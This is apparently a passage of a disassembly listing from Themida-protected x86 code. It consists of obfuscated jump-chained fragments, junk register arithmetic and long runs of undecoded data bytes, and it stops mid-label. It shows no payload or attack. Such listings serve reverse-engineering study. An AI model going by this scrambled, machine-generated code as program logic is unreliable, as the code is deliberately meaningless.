		dd 0C78F43ADh, 895DEB29h, 0EED15BDEh, 0CC1CE81h, 0CE816250h
		dd 68EF49A6h, 0F681DEF7h, 38005BC1h, 33BCC681h,	0F0015CF9h
		dd 1F30815Eh, 8B102800h, 0C4832404h, 9DB95104h,	0C1033B62h
		dd 0C8E905E9h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		jmp	loc_54E00B
; ---------------------------------------------------------------------------
		dd 0FC3305Ah, 8F66C0B6h, 0E7E98704h, 53FFFFB8h,	9178D4BBh
		dd 5BDD8967h, 1C8BDD31h, 4C48124h, 0E9000000h, 0FFFFFC70h
		dd 0E9240C8Bh, 1C3Ch, 2C28358h,	0E9241433h, 0FFFFCF91h
; ---------------------------------------------------------------------------

loc_548768:				; CODE XREF: Themida_:0054D3A1j
		mov	ecx, 16D70F7Bh
		shr	ecx, 2
		jmp	loc_544D61
; ---------------------------------------------------------------------------
		db 4, 65h, 4
aCSO		db 'C(ĐéŐo',0
		align 10h
		dd 659CE981h, 0CA010523h, 0FF2434FFh, 50592434h, 405E089h
		dd 0E9000000h, 324Fh, 51241489h, 92B2CAB1h, 0C280DAF6h
		dd 0FED2F601h, 78CA80C2h, 300EC280h, 240C8BCAh,	5E08950h
		dd 4, 405h, 6F46E900h, 0D7010000h, 81F7295Ah, 0EF4194EFh
		dd 0F8015E51h, 6CF5E9h,	74BF5700h, 0F77DD610h, 34C781D7h
		dd 0C12F105Bh, 814706E7h, 98FB2BF7h, 8BF82917h,	0C483243Ch
		dd 68E80104h, 13BFh, 0B9240C89h, 9206E54h, 0FFC366E9h
		dd 0D8F740FFh, 0CC435F05h, 0A8723515h, 0C7016617h, 6ABBE9h
		dd 34B95100h, 0E931811Ah, 0FFFFF2C8h, 7DBEF681h, 0F0011526h
		dd 8324348Bh, 7C0504C4h, 56790061h, 794BE2BEh, 8EC6815Ch
		dd 536EFC1Dh, 3DBDBF57h, 8B5717E8h, 0C481241Ch,	4, 8BDE095Fh
		dd 0C481241Ch, 4, 0FFF675E9h, 74FF53FFh, 0E95B0424h, 66Bh
; ---------------------------------------------------------------------------

loc_54887C:				; CODE XREF: Themida_:0054AD02j
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_545AE2
; ---------------------------------------------------------------------------

loc_54888B:				; CODE XREF: Themida_:00545B23j
		pop	esp
		mov	[esp], ebx
		push	ebx
		mov	ebx, 3C337758h
		jmp	loc_54CD75
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8704EA83h, 0E95C2414h, 19CBh, 1245430h, 6FDFE9h
		dd 0E3C98100h, 0E93DA660h, 65D8h, 4C481h, 0EB800000h, 51C300B0h
		dd 0C5E9DAB1h, 81000023h, 4C4h,	7287E900h, 4330000h, 0B04E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5488E6:				; CODE XREF: Themida_:00547BFFj
		neg	ebp
		add	ebp, 4CD13C00h
		add	edx, ebp
		pop	ebp
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_54DC45
; ---------------------------------------------------------------------------
		db 0F6h, 0DDh, 0E9h
		dd 0FFFFD1C1h, 24048B66h, 8904EC83h, 8B54241Ch,	5457241Ch
		dd 4C7815Fh, 81000000h,	4C7h, 243C8700h, 5BA4E9h, 94EA8100h
		dd 2949F2C4h, 0F0295AD0h, 0A170CA05h, 24348B79h, 4833E9h
		db 0
; ---------------------------------------------------------------------------

loc_548945:				; CODE XREF: Themida_:0054E972j
		add	[esp+4], edi
		sub	dword ptr [esp+4], 14BA506Ah
		sub	dword ptr [esp+4], 436E2128h
		add	dword ptr [esp+4], 66DD24EEh
		push	edx
		mov	edx, 5BBF30F5h
		add	[esp+8], edx
		jmp	loc_54660B
; ---------------------------------------------------------------------------
		dd 0B6E9E389h, 50000016h, 387B2C68h, 0D8055853h, 0E9ACC784h
		dd 0FFFFCBF5h
; ---------------------------------------------------------------------------

loc_548988:				; CODE XREF: Themida_:00544D04j
		add	ebp, esi
		sub	ebp, 6C421703h
		jmp	loc_548A07
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aS_		db '$é&.',0
		align 2
		dw 0FCB8h
		dd 5702CA21h, 0FFFFFFBFh, 4EC83FFh, 0E9241489h,	0FFFFFA19h
		dd 12A4BF57h, 0DEBD4B2Ah, 0E9719184h, 0FFFFB91Bh
; ---------------------------------------------------------------------------

loc_5489C4:				; CODE XREF: Themida_:0054BF1Aj
		sub	edi, 7DCF193Eh
		pop	esi
		sub	edi, edx
		jmp	loc_54DA8B
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFE7F4h, 0FF241C89h, 5B042474h, 0E924048Fh, 5DCDh
		dd 7D7E1BBFh, 0E7814721h, 3A84773Ah, 761AF781h,	0FB012004h
		dd 83243C8Bh, 0FCE904C4h
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548A07:				; CODE XREF: Themida_:00548990j
		pop	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 6903234Fh
		add	ebp, eax
		sub	ebp, 6903234Fh
		pop	eax
		jmp	loc_54BA93
; ---------------------------------------------------------------------------

loc_548A2A:				; CODE XREF: Themida_:005444DDj
		add	esp, 4
		pop	ecx
		push	ecx
		mov	ch, 92h
		neg	ch
		not	ch
		jmp	loc_54AE96
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 1DF9BA52h, 0F6E900A5h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548A47:				; CODE XREF: Themida_:005447DCj
		mov	eax, 708A5465h
		push	ebp
		jmp	loc_54EB52
; ---------------------------------------------------------------------------
		dw 0DC68h
		dd 5A440B1Ch, 0E328C281h, 0D389BBF4h, 5024148Bh, 405E089h
		dd 0E9000000h, 0FFFFEB5Eh, 305EC981h, 0E94966F1h, 0FFFFB5E1h
		dd 0B408E3BDh, 0E089500Dh, 405h, 42D00h, 4870000h, 2C895C24h
		dd 24048124h, 7DA81641h, 0FBD0E95Eh, 0EF81FFFFh, 5D772206h
		dd 1DE9EF29h, 33FFFFFBh, 2C31242Ch, 5B7FE924h, 0A1680000h
		dd 0E900007Bh, 38F1h, 42474FFh,	6DA2E95Bh, 74FF0000h, 8F580424h
		dd 5EE92404h, 5A00001Ah, 8704E983h, 0E95C240Ch,	52A1h
; ---------------------------------------------------------------------------

loc_548AE8:				; CODE XREF: Themida_:0054C861j
		sub	esi, eax
		pop	eax
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_54E173
; ---------------------------------------------------------------------------

loc_548AFC:				; CODE XREF: Themida_:0054D28Aj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_545591
; ---------------------------------------------------------------------------

loc_548B0D:				; CODE XREF: Themida_:0054863Fj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_54FFF1
; ---------------------------------------------------------------------------
		dd 0C8E95251h, 83FFFFCDh, 1C8904ECh, 685B5424h,	1C63h
		dd 0BD242C89h, 4B024598h, 55D9CD81h, 64E9168Ah,	5EFFFFEDh
		dd 854BF781h, 0FB8939A6h, 0FFD20BE9h, 2E981FFh,	0E9000000h
		dd 59C6h, 4C18159h, 0E9000000h,	678Eh, 0EDE95451h, 89FFFFFFh
		dd 78E92414h, 0E9000031h, 0FFFFB48Ah, 5606E3C1h, 501F61BEh
		dd 21C6813Bh, 12A67E4h,	0BE95EF3h, 0E9FFFFE8h, 0FFFFB46Eh
		dd 45B7E950h, 0C3890000h, 0E9D82958h, 0FFFFD797h, 8B2434FFh
		dd 0C4832404h, 0BFE3E904h, 8B66FFFFh, 0EC812404h, 4, 54243489h
		dd 2D6BE9h, 6DE95F00h, 5F000039h, 0E924048Fh, 0FFFFE719h
; ---------------------------------------------------------------------------

loc_548BF4:				; CODE XREF: Themida_:00548D62j
		or	eax, eax
		jz	loc_546396
		push	dword ptr [edi+1Ch]
		jmp	loc_545B6C
; ---------------------------------------------------------------------------
		dd 582434FFh, 0E9E08950h, 0FFFFEDD1h, 28D7C580h, 0D7ED80C5h
		dd 0E9E80058h, 0FFFFF5A2h, 0FFB3FDE9h, 51E955FFh, 56FFFFFEh
		dd 0C5B49E68h, 49E95E85h, 1FFFFC6h, 4042E9DAh, 3B660000h
		dd 0DBE99CC8h, 2DFFFFB3h, 0F7DAF12Ch, 158C789h,	348B5FF8h
		dd 4C48324h, 1E0DE9h, 1C77FF00h, 6659669Dh, 9C2414D3h
		dd 0FFB3B5E9h, 7E3C1FFh, 3B61BA52h, 0D3210BD3h,	67E3815Ah
		dd 812E5F21h, 6F28ADC3h, 5BDF3117h, 7913BA52h, 0F2811F1Eh
		dd 25E1729Ah, 5A67F281h, 0D731DF26h, 8BFD295Ah,	8952243Ch
		dd 4C281E2h, 0E9000000h, 19FAh,	4C381h,	0EB810000h, 4
		dd 5C241C87h, 52241C89h, 5077F3BAh, 8BD38945h, 0C4812414h
		dd 4, 25F1E953h, 92B80000h, 0E947F458h,	20F6h
; ---------------------------------------------------------------------------

loc_548CE4:				; CODE XREF: Themida_:005500A0j
		mov	ebp, 70144186h
		jmp	loc_54DA65
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 1D0Bh, 0E9028F66h, 0FFFFB326h
; ---------------------------------------------------------------------------

loc_548CFC:				; CODE XREF: Themida_:00546C06j
		pop	edx
		mov	edx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_54F78A
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 65E1E9h, 7DEEBE00h, 0EEC14F82h, 2988E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548D22:				; CODE XREF: Themida_:0054DAFBj
		add	eax, edx
		mov	[eax], ecx
		pop	eax
		jmp	loc_54CCA8
; ---------------------------------------------------------------------------

loc_548D2C:				; CODE XREF: Themida_:0054CD03j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		push	edx
		mov	edx, 4BA54A89h
		jmp	loc_545ABE
; ---------------------------------------------------------------------------

loc_548D43:				; CODE XREF: Themida_:0054F57Ej
		pop	edx
		jmp	loc_5492AE
; ---------------------------------------------------------------------------
		align 2
		dw 58C3h
		dd 0F968C328h, 0E9000078h, 2AA5h
; ---------------------------------------------------------------------------

loc_548D58:				; CODE XREF: Themida_:0054D0EAj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_548BF4
; ---------------------------------------------------------------------------
		db 81h
		dd 0C09CEC6h, 0E9F289C0h, 0EFAh, 0F38876B6h, 0EC81505Ah
		dd 4, 0E9240C89h, 0FFFFDAECh, 0D2F6D186h, 0FFE784E9h, 665DB4FFh
		dd 80E9B151h, 0D9F6EFF1h, 0E9FEF180h, 0FFFFD76Bh
; ---------------------------------------------------------------------------

loc_548DA4:				; CODE XREF: Themida_:0054D237j
		sub	ebx, ebp
		pop	ebp
		mov	eax, ebx
		pop	ebx
		sub	edi, eax
		mov	eax, [esp]
		add	esp, 4
		inc	edi
		not	edi
		sub	edi, 75115306h
		xor	edi, 2C2F57BBh
		sub	ecx, edi
		pop	edi
		push	esi
		jmp	loc_549240
; ---------------------------------------------------------------------------
		db 29h,	0C8h, 59h
		dd 0FFFE56E9h, 5EF331FFh, 959E9h, 70E95300h
		db 41h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548DE3:				; CODE XREF: Themida_:00546A23j
		push	ecx
		mov	ecx, esp
		jmp	loc_54F664
; ---------------------------------------------------------------------------
		db 5Bh
		dd 3B21C381h, 7E92638h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548DF7:				; CODE XREF: Themida_:0054A8E1j
		pop	eax
		pop	ebx
		jmp	loc_547A49
; ---------------------------------------------------------------------------

loc_548DFE:				; CODE XREF: Themida_:0054DBBAj
		add	eax, 35173F81h
		push	esi
		jmp	loc_54D04A
; ---------------------------------------------------------------------------

loc_548E09:				; CODE XREF: Themida_:0054BC14j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4F505884h
		push	esi
		jmp	loc_549326
; ---------------------------------------------------------------------------

loc_548E1B:				; CODE XREF: Themida_:0054F438j
		pop	edi
		sub	edi, 3DCA171Fh
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 13982458h
		or	edx, 5DA31F6Eh
		jmp	loc_54D7A4
; ---------------------------------------------------------------------------
		db 0FEh, 0CFh, 80h
		dd 0F78049EFh, 5BF80065h, 0FFFDC7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548E49:				; CODE XREF: Themida_:0054DF6Fj
		push	611D14EFh
		pop	ecx
		add	ecx, 0E96C6463h
		push	ecx
		pop	edx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54CF95
; ---------------------------------------------------------------------------

loc_548E6B:				; CODE XREF: Themida_:0054AFF6j
		mov	ebp, esp
		jmp	loc_546CEE
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 0FFFFC23Bh, 0A9112EB9h, 3E94977h, 5900000Ah,	63E9C788h
		dd 81FFFFC6h, 0DE7857C1h, 65C98113h, 8103C108h,	2C5285C1h
		dd 59CB01B0h, 0FFF24DE9h, 0B178E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548EAA:				; CODE XREF: Themida_:0054F286j
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_550019
; ---------------------------------------------------------------------------
aSI		db ')Âé¸I',0
		dw 8700h
		dd 0E95C2434h, 0FFFFCA8Fh
; ---------------------------------------------------------------------------

loc_548EC8:				; CODE XREF: Themida_:00545ED0j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_544055
; ---------------------------------------------------------------------------

loc_548ED6:				; CODE XREF: Themida_:0054480Cj
		xchg	ebp, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 8Fh
		dd 835C2404h, 0C90904C4h, 0F81F840Fh, 0EC81FFFFh, 4, 0E0ECE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F02:				; CODE XREF: Themida_:00549E11j
		mov	esp, [esp]
		jmp	loc_54540F
; ---------------------------------------------------------------------------

loc_548F0A:				; CODE XREF: Themida_:0054E539j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_54FE78
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 83000000h, 3C3304C7h, 243C3124h, 0FFF4BCE9h,	58C689FFh
		dd 7E58EE81h, 94E92F63h
		db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F37:				; CODE XREF: Themida_:0054841Bj
		add	ch, 92h
		jmp	loc_5498C2
; ---------------------------------------------------------------------------
		db 0B8h
		dd 7F49241Ch, 0E6E9C589h, 81000034h, 723D36C5h,	1548E97Ah
		dd 0E9560000h, 6F86h, 8759C801h, 805C2404h, 0B46801E9h
		dd 89000004h, 59B62414h, 805AF120h, 0F180D0E9h,	59C828A4h
		dd 49C380h, 1FFF68C3h, 0A9E90000h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548F8B:				; CODE XREF: Themida_:00549097j
		push	ecx
		jmp	loc_54E6DC
; ---------------------------------------------------------------------------
		db 0ACh, 81h, 0ECh
		dd 4, 365CE9h, 4A896800h, 0E95F4C8Ah, 4147h, 4C481h, 6C010000h
		dd 2C8B0424h, 4C48324h,	61DCE9h, 24148900h, 0E7429BAh
		dd 3F7BB827h, 0D0314719h, 8324148Bh, 0E95104C4h, 2792h
		dd 6C03BE56h, 0F701486Fh, 0FFFB7AE9h, 0BDE95CFFh, 0BDFFFFDEh
		dd 0C2D58636h, 295DEB29h, 0D8295BD8h, 21CDE9h, 5FFA0100h
		dd 4C281h, 0FF520000h, 5A042474h, 5C24048Fh, 0FF2434FFh
		dd 83582434h, 895104C4h, 0A5BD55E1h, 45390359h,	0FC68DDF7h
		dd 8900006Ah, 18BA2414h, 95FF922h, 0ED815AD5h, 0DFFDA656h
		dd 0DDE9E901h, 81000068h, 4C4h,	5C776800h, 14890000h, 44D4E924h
		dd 0E5C00000h, 2BB05005h, 0C07BB753h, 0D2E903EFh
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549067:				; CODE XREF: Themida_:0054F79Aj
		mov	edx, [esp]
		jmp	loc_54580B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 335EF701h, 3C31243Ch, 243C3324h, 6624248Bh, 8956F1F7h
		dd 4AE951E6h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54908B:				; CODE XREF: Themida_:0054B6A5j
		pop	esp
		neg	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_548F8B
; ---------------------------------------------------------------------------
		dd 34F0C381h, 0CB012FF1h, 34F0EB81h, 87592FF1h,	248B241Ch
		dd 0E7895724h, 6046E9h,	4C48100h, 56000000h, 0FFF8B2E9h
		dd 0B2EEB5FFh, 0E9EA28B4h, 0FFFFB96Dh
; ---------------------------------------------------------------------------

loc_5490D0:				; CODE XREF: Themida_:00544A75j
		pop	ebp
		and	ebx, 73D90926h
		jmp	loc_54B2EB
; ---------------------------------------------------------------------------
		dd 0FFAF41E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5490E1:				; CODE XREF: Themida_:005455A7j
		add	dword ptr [esp], 2B0B7FA6h
		jmp	loc_544022
; ---------------------------------------------------------------------------
		db 5Eh,	0E9h, 1Dh
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5490F3:				; CODE XREF: Themida_:00544A5Ej
		and	edi, 3C2414EFh
		xor	edi, 2820FB75h
		and	eax, edi
		pop	edi
		or	eax, eax
		jnz	loc_54C9ED
		push	ecx
		mov	ecx, 67B27D81h
		jmp	loc_54E015
; ---------------------------------------------------------------------------
		db 0BDh, 1Ah, 46h
		dd 0E8015884h, 0FFE9E2E9h, 0C1665DFFh, 816604E6h, 66466CEEh
		dd 699AC681h, 5EF50166h, 41FBE9h, 0BD555300h, 7C95201Dh
		dd 815DEB89h, 8039CEEBh, 4E3C17Ch, 7F2EF381h, 0D92109A1h
		dd 7E9C15Bh, 0FFB742E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54915D:				; CODE XREF: Themida_:00544CDDj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 25771392h
		inc	ebp
		neg	ebp
		xor	ebp, 6DBC754Fh
		shl	ebp, 3
		jmp	loc_54B91B
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 0FFFFAE9Eh, 240C8B66h, 57E38953h, 0DD4AD7BFh, 0E6F78146h
		dd 0E947997Ah, 51F7h, 8158C729h, 0B2056AEFh, 4EF814Ch
		dd 2906E55Dh, 0D683E9CFh, 34FFFFFFh, 26E95824h,	66000026h
		dd 0F587665Dh, 66CE8766h, 5666D1F7h, 0FFCB8FE9h, 5AD301FFh
		dd 4BF57h, 0FB010000h, 1072E95Fh, 4E580000h, 0FFEA5BE9h
		dd 2BDFFh, 0EB010000h, 5D2434FFh, 4C481h, 0FF530000h, 5B042474h
		dd 5C24048Fh, 9C240CFEh, 0FFAE19E9h, 80C300FFh,	0C380C8EBh
		dd 0B050660Eh, 0EB77E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54921A:				; CODE XREF: Themida_:0054B9D8j
		mov	edx, 0F209F319h
		jmp	loc_54490B
; ---------------------------------------------------------------------------
		dd 2859F780h, 0EC805BFCh, 58E28835h, 0E9535066h, 11D2h
; ---------------------------------------------------------------------------

loc_549238:				; CODE XREF: Themida_:0054D8C7j
		mov	edx, [esp]
		jmp	loc_54D426
; ---------------------------------------------------------------------------

loc_549240:				; CODE XREF: Themida_:00548DC8j
		mov	esi, 0
		sub	esi, ecx
		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		pop	esi
		add	ecx, 3643566Bh
		sub	ecx, 82149475h
		jmp	loc_549788
; ---------------------------------------------------------------------------
		db 5Eh
		dd 34FFCD01h, 0C4835924h, 74FF5504h, 2C8B0424h,	2CE95324h
		dd 83FFFFE9h, 2C8904ECh, 1596E924h, 0DABD0000h,	8120E26Dh
		dd 2C31D2F5h, 35ED814Eh, 811B430Eh, 582EA6E5h, 0A7F5813Bh
		dd 0F7686F1Eh, 5BED81D5h, 29455CC7h, 4D99E9EFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5492AE:				; CODE XREF: Themida_:00548D44j
		xor	ecx, 6CB57E0Dh
		push	esi
		mov	esi, 5F821162h
		neg	esi
		dec	esi
		jmp	loc_546474
; ---------------------------------------------------------------------------
		dw 5450h
		dd 8324048Bh, 40504C4h,	57000000h, 0F5E9E789h, 8B000003h
		dd 36E92424h, 66FFFFFCh, 0E9816649h, 3166AD3Bh,	816659CEh
		dd 0E96E7CC6h, 38BCh
; ---------------------------------------------------------------------------

loc_5492F4:				; CODE XREF: Themida_:00544711j
		xor	bh, 31h
		jmp	loc_545877
; ---------------------------------------------------------------------------

loc_5492FC:				; CODE XREF: Themida_:0054D82Ej
		add	edi, 4
		push	esi
		push	ebx
		push	630F1A69h
		pop	ebx
		xor	ebx, 630F1A6Dh
		mov	esi, ebx
		pop	ebx
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		jmp	$+5
		xor	[esp], edi
		jmp	loc_549861
; ---------------------------------------------------------------------------

loc_549326:				; CODE XREF: Themida_:00548E16j
		push	74A6h
		jmp	loc_54FFFB
; ---------------------------------------------------------------------------
		dd 0EBBD5559h, 0E9FFE624h, 549Ah, 815EF709h, 148027C7h
		dd 0FCB3E980h, 4C01FFFFh, 44810424h, 6EFC0424h,	0E0E96F9Ah
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54935B:				; CODE XREF: Themida_:0054E29Aj
		add	ebp, 47D156BBh
		add	ebp, eax
		sub	ebp, 47D156BBh
		sub	ebp, 37D561A7h
		jmp	loc_5482E9
; ---------------------------------------------------------------------------
		dd 0FFACA9E9h, 80EB81FFh, 16C346Dh, 0D16FE9C3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549386:				; CODE XREF: Themida_:0054F25Bj
		mov	[esp], edx
		mov	edx, 11C1373Dh
		jmp	loc_546526
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E58EE900h, 0E780FFFFh, 0FE7EE947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5493A6:				; CODE XREF: Themida_:00545707j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54D603
; ---------------------------------------------------------------------------

loc_5493B1:				; CODE XREF: Themida_:0054EF64j
		pop	esp
		movzx	eax, al
		jmp	loc_5484EA
; ---------------------------------------------------------------------------

loc_5493BA:				; CODE XREF: Themida_:005473AAj
		add	ecx, 0BBFADC5Ah
		add	ebp, ecx
		pop	ecx
		jmp	loc_545537
; ---------------------------------------------------------------------------
		dd 15EF529h, 0C61FE9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5493D2:				; CODE XREF: Themida_:005479CEj
		pop	edi
		mov	ebx, edx
		jmp	loc_5442BE
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 5468h, 4CE5E900h,	895C0000h, 368241Ch, 89000066h
		dd 4832424h, 815B0424h,	4C3h, 4BF5700h,	1000000h, 243C8BFBh
		dd 8304C483h, 1C8904ECh, 2474FF24h, 48F5B04h, 4095C24h
		dd 0FBE99C24h, 89FFFFABh, 58542404h, 4140E953h,	68550000h
		dd 6AD068A0h, 0E9EF015Dh, 5131h, 2BAh, 0BD16E900h, 5E54FFFFh
		dd 0FFD7E3E9h, 0E9CA89FFh, 0FFFFD5D0h
; ---------------------------------------------------------------------------

loc_549458:				; CODE XREF: Themida_:0054DB4Ej
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 53AC64D7h
		or	ebp, 83300EAh
		not	ebp
		neg	ebp
		xor	ebp, 5BA15F52h
		jmp	loc_54412A
; ---------------------------------------------------------------------------
		dd 4EC81h, 34890000h, 40D4BE24h, 0EE81322Fh, 496D4885h
		dd 7FE2E681h, 0DEF7147Dh, 6564E681h, 0C68152A4h, 0AD5BFADEh
		dd 348BF001h, 4C48324h,	31240433h, 97E92404h, 87FFFFBEh
		dd 0DDE92414h, 56000003h, 0C681E689h, 4, 4BF57h, 0FE010000h
		dd 2434875Fh, 3925E9h, 241C8900h, 0B45040B3h, 88F480B7h
		dd 0E8E9E330h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5494EF:				; CODE XREF: Themida_:0054BAD2j
		add	ecx, ebx
		pop	ebx
		xor	ecx, 0A0D6C1B1h
		add	edx, ecx
		pop	ecx
		add	edx, esi
		sub	edx, 546A7F30h
		pop	esi
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_547605
; ---------------------------------------------------------------------------

loc_549518:				; CODE XREF: Themida_:00545E80j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_545698
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 8324048Bh, 79E904C4h, 1FFFFF6h, 27E957C3h, 5B000047h
		dd 34FFD000h, 89505A24h, 405E0h, 28E90000h, 30000038h
		dd 2EC81D8h, 66000000h,	0E9240C89h, 1AC6h, 5C241487h, 0FFD7C3E9h
		dd 0E99F2CFFh, 0FFFFB22Fh, 0BD55E289h, 3E0D70CCh, 0C102E5C1h
		dd 0DFE906EDh
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54958B:				; CODE XREF: Themida_:0054FA0Ej
		add	esi, 19963B8Eh
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, esi
		pop	esi
		sub	esp, 4
		jmp	loc_54CB7F
; ---------------------------------------------------------------------------

loc_5495A2:				; CODE XREF: Themida_:0054FE59j
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_54B9B3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFAA6Eh
; ---------------------------------------------------------------------------

loc_5495B4:				; CODE XREF: Themida_:00545BD4j
		sub	dl, 3Fh
		jmp	loc_54AA25
; ---------------------------------------------------------------------------

loc_5495BC:				; CODE XREF: Themida_:0054D23Fj
		and	eax, ecx
		pop	ecx
		or	edx, eax
		jmp	loc_54E37C
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 243C3124h, 5C243C33h, 5C242C87h, 24048B66h, 81E78957h
		dd 4C7h, 4E0E6800h, 34890000h, 68505224h, 3C8A1F61h, 0F7579758h
		dd 975F2414h, 0E09F3548h, 0C289C375h, 8124048Bh, 4C4h
		dd 8BD68900h, 0C4832414h, 5EF70104h, 2474FF57h,	48F5F04h
		dd 24248B24h, 66E9F766h, 664C7E68h, 66241489h, 42E99C50h
		dd 81FFFFD7h, 4C5h, 242C3300h, 0FFE0E1E9h, 0E9D1F7FFh
		dd 54CEh
; ---------------------------------------------------------------------------

loc_549648:				; CODE XREF: Themida_:00545E4Bj
		jz	loc_54C9ED
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_547D4B
; ---------------------------------------------------------------------------
aSiusJ		db 'S‰ăéÇJ',0
		align 2
		dw 48Fh
aSq		db '$éq',8,0
		align 2
		dw 8566h
		dd 0ABE99CC8h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_549677:				; CODE XREF: Themida_:00549C05j
		push	esi
		jmp	loc_54CABA
; ---------------------------------------------------------------------------

loc_54967D:				; CODE XREF: Themida_:005459C7j
		mov	esi, 39CD6F99h
		inc	esi
		push	ebp
		jmp	loc_5477E7
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 56000000h, 0FFACAFE9h, 4B850FFh, 1000000h, 0EC8358C1h
		dd 240C8904h, 42474FFh,	83240C8Bh, 0F2E904C4h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5496B3:				; CODE XREF: Themida_:00548224j
		mov	edi, edx
		pop	edx
		jmp	loc_549C3D
; ---------------------------------------------------------------------------
		db 80h
		dd 0E808AFEDh, 0FFBB71E9h, 0E9E089FFh, 57EEh, 4C781h, 59E90000h
		dd 3100000Dh, 31D731FAh, 97E94FFAh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5496E3:				; CODE XREF: Themida_:0054FB3Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	48EEh
		mov	[esp], esp
		jmp	loc_54A10E
; ---------------------------------------------------------------------------

loc_5496FA:				; CODE XREF: Themida_:00548511j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547F34
; ---------------------------------------------------------------------------
a11H		db '1Ë1Ůh',7,7,0
		align 2
		dw 1489h
		dd 464CBA24h, 574A5FDBh, 0E265CEBFh, 5FFA2949h,	0AED9EA81h
		dd 0D1314BB4h, 1D9FE95Ah, 0F3810000h, 0B88BB254h, 0E95BDE09h
		dd 0FFFFD1E4h
; ---------------------------------------------------------------------------

loc_549744:				; CODE XREF: Themida_:005486C4j
